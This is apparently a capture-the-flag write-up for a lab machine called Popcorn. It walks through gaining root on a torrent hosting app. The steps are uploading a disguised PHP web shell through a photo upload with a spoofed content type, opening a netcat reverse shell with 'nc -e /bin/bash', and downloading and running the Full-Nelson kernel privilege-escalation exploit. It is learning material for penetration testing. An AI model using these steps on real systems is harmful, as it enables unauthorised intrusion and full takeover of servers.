Vulnerability Exploited:

Photo upload allows remote code execution by injecting a malicious php file and modifying the request with burp.

Privilege escalation

Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation


Exploiting the host:


Dirb found /torrent

Appears to be a torrent hosting application

Application allows users to sign up and upload torrents.

Find a clean torrent file (I used debian)

Upload it to the app.

Edit the torrent once it is uploaded.

The vulnerable point is the photo section so find a simple backdoor php shell.

Rename it to shell.jpg.php and upload the shell to the app. Catch the request in burp.

Change content type to: Content-Type: image/jpg

This successfully uploaded.

Inspect the image from the webapp to find the true path.

Visit the true path and issue ?cmd=id after the .php extension.

Looking in /bin we see nc is installed.

Set a listener in 443 and execute nc -e /bin/bash 443 via the browser.

Now you have a shell.

Move to /dev/shm and download enumeration scripts

Google the kernel for privesc opportunities.

Run further tools while researching kernel exploits.

Easiest way may be full nelson based on the uname -a output.

Download from exploitdb

wget https://www.exploit-db.com/download/15704.c

Now on popcorn download and compile the exploit then run it to get root.
